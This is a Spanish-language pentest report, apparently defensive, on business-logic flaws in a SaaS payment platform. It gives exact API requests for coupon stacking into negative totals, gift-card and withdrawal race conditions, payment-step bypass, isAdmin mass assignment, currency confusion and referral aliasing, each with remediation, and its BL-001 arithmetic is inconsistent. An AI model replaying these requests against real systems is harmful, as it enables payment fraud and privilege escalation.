Pentesting Ofensivo · Lógica de Negocio · Informe Final
Vulnerabilidades de Lógica de Negocio
PayFlow SaaS — Engagement #PF-2026-047
Auditoría de 5 días · Entorno Staging · API REST v2 + Web App · Junio 2026
CONFIDENCIAL — USO INTERNO EXCLUSIVO
ClientePayFlow SaaS
Inicio09 Jun 2026
Fin13 Jun 2026
AuditorCULTIVA IA Security
Versión1.0 Draft
Alcanceapp.payflow.io · API v2
MetodologíaOWASP WSTG-BUSL
3
Crítico
2
Alto
4
Medio
3
Bajo
12
Total
Impacto financiero máximo (cadena crítica)
€ 284.500 / mes
BL-001 + BL-003 + BL-007 · 500 cuentas automatizadas
Pérdida por ejecución única BL-001
€ 569
Cupón stacking → crédito → race condition
Hallazgos que requieren remediación <48h
3 críticos
BL-001, BL-002, BL-007
Metodología — Plan de 5 Días
Día 1
Mapeo de máquinas de estado: checkout, suscripciones, referidos, payouts
Día 2
Diff JS bundles auth vs unauth · verb fuzzing en 847 rutas descubiertas
Día 3
Tests single-axis: precio, rol, moneda, replay, cupones, currency confusion
Día 4
Race conditions HTTP/2 single-packet en gift cards, referidos, retiros
Día 5
Cadenas de explotación · cuantificación financiera · PoC automatizado
Hallazgos Detallados
Critical
BL-001 · Cadena: Cupón stacking → total negativo → crédito → gift card race
CVSS 9.8 · Checkout · Reproducible · 5 pasos encadenados · PoC disponible
Pérdida/ejecución
€ 569
Coupon Stacking Negative Total Store Credit Issuance Race Condition (TOCTOU) Gift Card Multiplication
El sistema acepta el mismo cupón dos veces mediante variación de case ("SAVE50" y "save50"), generando un total de compra negativo. El engine de checkout emite crédito de tienda por el "sobrepago", que puede convertirse en gift card transferible. Una race condition HTTP/2 en el endpoint de canje multiplica el saldo x20 antes del primer commit a BD.
Cadena de Explotación BL-001 — 5 Pasos
PASO 1Aplicar SAVE50
+ save50 (case)
PASO 2Total: -€28.50
(negativo)
PASO 3Sistema emite
€28.50 crédito
PASO 4Convertir a
gift card GC-XK
PASO 5Race: 20×
redeems paralelos
€ 570 crédito
desde € 0 invertidos
# Paso 1 — Cupón stacking por variación de case POST /api/v2/cart/coupon { "code": "SAVE50" } → 200 OK · discount: 50% POST /api/v2/cart/coupon { "code": "save50" } → 200 OK · discount adicional: 50% (BUG: sistema no normaliza) # Paso 2 — Confirmar con total negativo # Carrito original: €57.00 × (1-0.5) × (1-0.5) = -€28.50 POST /api/v2/checkout/confirm { "cartId": "abc123" } → 200 OK · store_credit_issued: 28.50 EUR # Paso 4 — Convertir crédito en gift card transferible POST /api/v2/gift-cards/create { "amount": 28.50, "source": "store_credit" } → 200 OK · code: "GC-XK2901" · balance: €28.50 # Paso 5 — Race condition HTTP/2 single-packet attack (20 redeems paralelos) # Todos los requests ven balance=28.50 antes del primer commit → 20 × €28.50 POST /api/v2/gift-cards/GC-XK2901/redeem × 20 (paralelos) → total acreditado: €570.00 en 20 cuentas distintas del atacante
Pre-condiciones
  • Cuenta Free activa (sin verificación especial)
  • Cupón SAVE50 activo (campaña verano vigente)
  • Cualquier producto ≥€57 en carrito
  • Feature gift cards disponible en plan Free
Escala de impacto
  • 500 cuentas con email aliasing: €285.000/mes
  • Completamente automatizable (no CAPTCHA en API)
  • Gift cards canjeables en plataformas socias → cash
  • Detección por fraude: difícil (transacciones parecen legítimas)
Remediación
1) NORMALIZAR cupones: UPPER(TRIM(code)) antes de INSERT y SELECT. Constraint UNIQUE sobre el código normalizado por (userId, code_normalized).
2) BLOQUEAR total negativo: el finalizer de checkout debe rechazar ordenes con total < 0 con HTTP 422.
3) IDEMPOTENCY en /gift-cards/redeem: SELECT FOR UPDATE sobre el registro del gift card antes de decrementar balance.
4) AUDITAR transacciones store_credit y gift card retroactivamente (90 días).
Critical
BL-002 · State Machine Bypass: /payment skipped → order confirmado sin cobro
CVSS 9.4 · Checkout Flow · Direct Endpoint Invocation · Reproducible
Pérdida/ejecución
Valor íntegro del pedido
State Machine Bypass Direct Endpoint Invocation Missing Step Validation Payment Reference Reuse
El endpoint /api/v2/order/confirm acepta un paymentRef de cualquier pedido pasado (incluso pagados hace meses). El servidor verifica que el paymentRef exista en BD pero no que pertenezca al cartId actual ni que el cobro haya sido iniciado en la sesión activa. Permite obtener cualquier producto/suscripción sin pagar.
Flujo Checkout: Intencionado vs. Explotado
CART
ADDRESS
SHIPPING
PAYMENT
⇢ SKIP ⇢
CONFIRM
⚠ El servidor no valida que PAYMENT fue completado antes de aceptar /confirm
# Flujo legítimo: cartId C1 → pago procesado → paymentRef PR-OLD-2025-ABCDEF # Exploit: cartId nuevo (producto Enterprise €499) sin pasar por /payment POST /api/v2/order/confirm { "cartId": "CART-ENTERPRISE-NEW", "paymentRef": "PR-OLD-2025-ABCDEF" ← ref de pedido anterior (cualquier importe) } → 200 OK { "orderId": "ORD-7821", "status": "confirmed", "plan": "enterprise", "amount_charged": 0.00, ← nunca se cobró "items": [{"sku":"enterprise-annual","price":499.00}] }
Pre-condiciones
  • Cuenta activa con al menos 1 pedido previo pagado
  • Conocer el propio paymentRef (visible en historial de pedidos)
  • Cualquier producto/plan en el nuevo carrito
Productos/planes obtenibles gratis
  • Plan Enterprise anual (€499)
  • Add-ons de capacidad (€49-€199)
  • Créditos de API (cualquier pack)
  • Licencias de usuario adicionales
Remediación
1) Validar en /confirm que el paymentRef.cartId == cartId del request y que paymentRef.status == "captured".
2) Vincular el paymentRef a la sesión activa con un nonce de sesión (HMAC firmado) que expire en 15 min.
3) Registrar en BD un estado intermedio "payment_initiated" que /confirm requiera como pre-condición obligatoria.
Critical
BL-007 · Race Condition en retirada: balance check vs. debit no atómico
CVSS 9.1 · Payout Flow · TOCTOU · HTTP/2 Single-Packet · Reproducible
Pérdida/ejecución
Saldo completo × N
Race Condition TOCTOU Withdrawal HTTP/2 Single-Packet Non-Atomic Balance
El endpoint /api/v2/withdraw lee el saldo disponible y luego hace el debit en dos operaciones separadas sin transacción SQL atómica ni bloqueo de fila. Con un ataque de race condition HTTP/2, es posible enviar 15 solicitudes de retirada paralelas que todas leen el mismo saldo antes de que cualquiera complete el debit.
# Usuario con balance: €1.000 # 15 peticiones paralelas en single-packet HTTP/2 (Burp Repeater "Send group in parallel") POST /api/v2/withdraw × 15 (simultáneas) { "amount": 1000, "iban": "ES9121000418450200051332" } # Todas ven balance=1000 → todas pasan la validación # Resultado: 15 transferencias de €1.000 = €15.000 retirados de €1.000 de saldo → 15 × 200 OK · total retirado: €15.000 # Fix incorrecto que no funciona: # if balance >= amount: debit(amount) ← ventana de ~50ms entre check y debit # Fix correcto (pseudocode): # BEGIN; SELECT balance FROM accounts WHERE id=? FOR UPDATE; # UPDATE accounts SET balance = balance - ? WHERE id=? AND balance >= ? # IF rows_affected == 0: ROLLBACK + return 422; COMMIT;
Remediación
Reemplazar el check + debit secuencial por una transacción SQL atómica con SELECT FOR UPDATE. El UPDATE debe incluir la condición WHERE balance >= amount en la misma sentencia; si rows_affected = 0, devolver HTTP 422. Añadir idempotency_key obligatorio en el request para prevenir duplicados por retry.
High
BL-003 · Mass Assignment: campo "isAdmin" aceptado en PUT /users/me
CVSS 8.2 · Identity / Role · Mass Assignment · Fácil de explotar
Impacto
Escalada de privilegios
Mass Assignment Role Escalation Field Whitelist Missing
El endpoint PUT /api/v2/users/me no aplica whitelist de campos. El modelo User interno incluye isAdmin, tenantId y credits. Al incluir estos campos en el body del request, el ORM los persiste directamente en BD sin validación, otorgando privilegios de admin al atacante.
PUT /api/v2/users/me { "email": "attacker@x.com", "isAdmin": true, "credits": 100000, "tenantId": "victim-corp-id" } → 200 OK · user.isAdmin: true · credits: 100000
Remediación
Implementar whitelist explícita de campos permitidos en cada endpoint. Solo permitir: email, name, preferences, phone. Usar DTOs (Data Transfer Objects) separados del modelo ORM para nunca exponer campos internos.
High
BL-005 · Currency Confusion: pagar en JPY lo que cuesta en EUR
CVSS 7.9 · Payment · Currency Normalization Missing
Pérdida/ejecución
~€99.35 por pedido €100
Currency Confusion FX Rate Missing Input Validation
El campo currency en /api/v2/checkout es aceptado como input del cliente sin normalización. Al especificar JPY en lugar de EUR, el sistema procesa el importe numérico sin conversión de divisas, cobrando ¥100 (~€0.65) por un producto de €100.
POST /api/v2/checkout { "amount": 100, "currency": "JPY" } # Cobra ¥100 ≈ €0.65 en lugar de €100 → 200 OK · charged: 100 JPY · product: "Pro Plan Monthly" { "amount": 100, "currency": "VND" } # Cobra ₫100 ≈ €0.004 — peor aún → 200 OK · charged: 100 VND · product: "Pro Plan Monthly"
Remediación
Fijar la moneda del pedido en el servidor según el precio en catálogo (EUR). Ignorar el campo currency del cliente o validar que coincida con la moneda configurada del tenant. Nunca confiar en el importe+moneda enviados por el cliente.
Medium
BL-004 · Tier downgrade retiene features premium activos
CVSS 6.5 · Subscription Logic · Feature Flag Cache
Impacto
Uso gratuito indefinido
Subscription Abuse Feature Flag Cache Tier Downgrade
Al hacer downgrade de Pro a Free, el servidor actualiza el tier en BD pero no invalida el caché de feature flags (TTL: 24h en Redis). Durante ese período, el usuario accede a todas las funciones Pro sin pagar. Combinado con upgrades cíclicos, permite obtener cuota adicional sin coste.
PUT /api/v2/subscription { "tier": "pro" } → +1000 API calls quota PUT /api/v2/subscription { "tier": "free" } → quota display: 0, pero Redis cache no invalidado GET /api/v2/features/premium-export → 200 OK (sigue funcionando 24h) # Ciclo de quota: upgrade → usar 1000 calls → downgrade → upgrade → +1000 más PUT /api/v2/subscription { "tier": "pro" } → quota reset a 1000 (nuevo ciclo)
Remediación
Invalidar inmediatamente el caché de feature flags de Redis al cambiar de tier (HDEL userId:feature_flags). La quota debe validarse contra BD en tiempo real o con TTL de caché <= 60s. Rate-limit en downgrade/upgrade: máximo 2 cambios de tier por mes.
Medium
BL-006 · Referral loop: el mismo usuario se auto-refiere con email aliasing
CVSS 6.2 · Referral Program · Anti-Automation Missing
Pérdida/referral
€10 por alias
Referral Abuse Email Aliasing Self-Referral Identity Not Unique
El programa de referidos paga €10 por cada nuevo usuario registrado. El sistema no detecta que attacker+1@gmail.com, attacker.1@gmail.com y attacker1@googlemail.com son la misma bandeja de entrada. Un atacante puede generar cientos de "nuevos usuarios" con alias de Gmail y acumular créditos de referido ilimitados.
# Todas estas direcciones llegan al mismo inbox de Gmail POST /api/v2/refer { "email": "attacker+1@gmail.com" } → +€10 pending POST /api/v2/refer { "email": "attacker+2@gmail.com" } → +€10 pending POST /api/v2/refer { "email": "a.t.tacker@gmail.com" } → +€10 pending POST /api/v2/refer { "email": "attacker@googlemail.com" }→ +€10 pending # 100 aliases × €10 = €1.000 de crédito de referido
Remediación
Normalizar emails antes de verificar unicidad: eliminar el sufijo +alias, los puntos en la parte local (Gmail), y tratar gmail.com/googlemail.com como equivalentes. Añadir verificación de número de teléfono (no-VOIP) como segundo factor de identidad. Limitar referidos pendientes por cuenta a 5 simultáneos hasta que el primero sea validado.
Resumen de Todos los Hallazgos
ID Severidad Título Área CVSS Impacto Financiero
BL-001 Critical Cupón stacking → crédito → gift card race Checkout 9.8 €284.500/mes (escala)
BL-002 Critical State machine bypass: skip de /payment Checkout 9.4 Valor íntegro del pedido
BL-007 Critical Race condition en retirada de fondos Payout 9.1 Saldo × factor de raza
BL-003 High Mass assignment: campo isAdmin no filtrado Identity 8.2 Escalada de privilegios total
BL-005 High Currency confusion: cobro en JPY/VND Payment 7.9 ~€99 menos por pedido de €100
BL-004 Medium Tier downgrade retiene features premium 24h Subscription 6.5 Uso Pro sin pagar
BL-006 Medium Referral loop con email aliasing Referral 6.2 €10 × ∞ aliases
BL-008 Medium Token CAPTCHA reutilizable N veces Anti-Automation 5.9 Bypass de rate limiting
BL-009 Medium Reembolso por importe mayor al pagado Refunds 5.7 Importe arbitrario acreditado
BL-010 Low X-Forwarded-For resetea contador por IP Anti-Automation 4.1 Rate limit bypass
BL-011 Low Refresh token sin check de expiración original Session 3.8 Sesión indefinida
BL-012 Low Cupón expirado aceptado con fecha en payload Checkout 3.5 Descuentos caducados aplicados